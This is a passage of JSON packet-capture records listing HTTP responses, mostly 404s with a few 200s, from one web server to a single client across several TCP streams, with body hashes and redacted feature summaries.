          "body_size_bytes": 276,
          "timestamp_epoch": "1577255406.114111000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "264",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-1c54d35bf5ae4d7df1ab2aad",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 265,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255406.392788000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "267",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-5b19763eb31074bfff17d76e",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 268,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255406.675048000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "270",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-c124c64ed97b0e60c21c1d8d",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 271,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255406.953188000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "273",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-07f2a2b62213fca1fd934785",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 274,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255407.259258000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "276",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-5feaad4a37c89ecc6dd7a354",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 278,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255408.043432000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "280",
            "http.content_type": "text/html",
            "http.response.code": "200",
            "http.content_length": "468"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-2794b736e4145560fdabc24b",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "54439de67d3af19d75b468511444a25f067767ff629b0e0262bb6781ed27b7bd",
          "frame_number": 282,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 468,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 468,
          "timestamp_epoch": "1577255408.320589000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "285",
            "http.content_type": "text/html",
            "http.response.code": "200",
            "http.content_length": "468"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-5b7dec009e666a369fad620b",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "54439de67d3af19d75b468511444a25f067767ff629b0e0262bb6781ed27b7bd",
          "frame_number": 287,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 468,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 468,
          "timestamp_epoch": "1577255408.608799000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "290",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-896f4330c818ca05dcefb513",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 291,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255408.890632000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "293",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-0b7400eb816984a721633994",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 295,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255409.675558000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "297",
            "http.content_type": "text/html",
            "http.response.code": "200",
            "http.content_length": "468"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-35336b5afa57e1167711275b",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "54439de67d3af19d75b468511444a25f067767ff629b0e0262bb6781ed27b7bd",
          "frame_number": 299,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 468,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 468,
          "timestamp_epoch": "1577255411.263081000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "302",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-d7bb480bfc7fa6dbe969f091",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 303,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255411.546670000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "305",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-5ab8a49b20cd56015f2f5d44",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 306,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255411.824196000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "308",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-04af4e05afcefae195f36c9a",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 309,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255412.101734000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "311",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 61288,
          "event_id": "evt-dbf2ca3dcee396214327c03a",
          "src_port": 80,
          "tcp_stream": 5,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 313,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255416.653770000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "322",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 50984,
          "event_id": "evt-0517d501dae4dd41a1c2ca6b",
          "src_port": 80,
          "tcp_stream": 6,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 324,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255433.966200000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "326",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 50984,
          "event_id": "evt-2680924bad85655ea6f61fa5",
          "src_port": 80,
          "tcp_stream": 6,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 327,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255434.247805000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "329",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 50984,
          "event_id": "evt-19c5d40b3f2c1b59f85ac4d2",
          "src_port": 80,
          "tcp_stream": 6,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 330,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255435.263593000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "332",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 50984,
          "event_id": "evt-abe84e3b2fe1cbb08e74515d",
          "src_port": 80,
          "tcp_stream": 6,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 333,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255435.674632000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "335",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 50984,
          "event_id": "evt-aebc3dc968d2ccd1add16ecd",
          "src_port": 80,
          "tcp_stream": 6,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 336,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255437.224289000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "338",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 50984,
          "event_id": "evt-1f1507dcc3feb93550994036",
          "src_port": 80,
          "tcp_stream": 6,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 339,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255438.247452000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "341",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 50984,
          "event_id": "evt-9de5bf1351cbc0c1130d5705",
          "src_port": 80,
          "tcp_stream": 6,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 342,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255438.526517000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "344",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 50984,
          "event_id": "evt-33b290136a5cfca684eb6275",
          "src_port": 80,
          "tcp_stream": 6,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 345,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255438.943741000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "347",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 50984,
          "event_id": "evt-8c8dd41a5344fc69ccd507e2",
          "src_port": 80,
          "tcp_stream": 6,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 348,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255440.560631000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "357",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52943,
          "event_id": "evt-cbdaf9e5afbf643e2bf38510",
          "src_port": 80,
          "tcp_stream": 7,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 359,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255454.393894000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "361",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52943,
          "event_id": "evt-5091e1a821f7b802f9969b4f",
          "src_port": 80,
          "tcp_stream": 7,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 362,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255454.652139000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "364",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 52943,
          "event_id": "evt-59ea531abbaefcd70b58abcd",
          "src_port": 80,
          "tcp_stream": 7,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 366,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255455.639156000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "372",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-7032fcf0462d6cf22c3d5761",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 374,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255477.791348000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "376",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-45a982eec375c1f3cc930530",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 377,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255478.910024000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "379",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-fe8afeac8633b94aea0feaba",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 380,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255479.405187000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "382",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-7233661fa2a2728b3438c55b",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 384,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255481.944350000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "386",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-f4e20f9250e4bd67101eda9d",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 387,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255482.274249000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "389",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-4f3c6662130ff0c6e34b9107",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 390,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255482.535069000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "392",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-24ee5f2428f9cc394e3bd7fd",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 394,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255483.482760000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "396",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-9ea0ad500fc713536b194a00",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 397,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255483.742753000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "399",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-91283f7a9687067de7ffa9f0",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 400,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255484.121380000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "402",
            "http.content_type": "text/html; charset=iso-8859-1",
            "http.response.code": "404",
            "http.content_length": "276"
          },
          "src_ip": "10.12.25.101",
          "dst_port": 56366,
          "event_id": "evt-3180cbb8cf840621dd20e8fa",
          "src_port": 80,
          "tcp_stream": 8,
          "udp_stream": null,
          "body_sha256": "82cd0a14e16feac81a7b91bb6b6ad31e9fe3096514858301b583a5c32ff8f34b",
          "frame_number": 403,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 276,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 276,
          "timestamp_epoch": "1577255485.215113000"
        },
        {
          "kind": "http_response",
          "dst_ip": "139.199.184.166",
          "fields": {
            "http.request_in": "405",
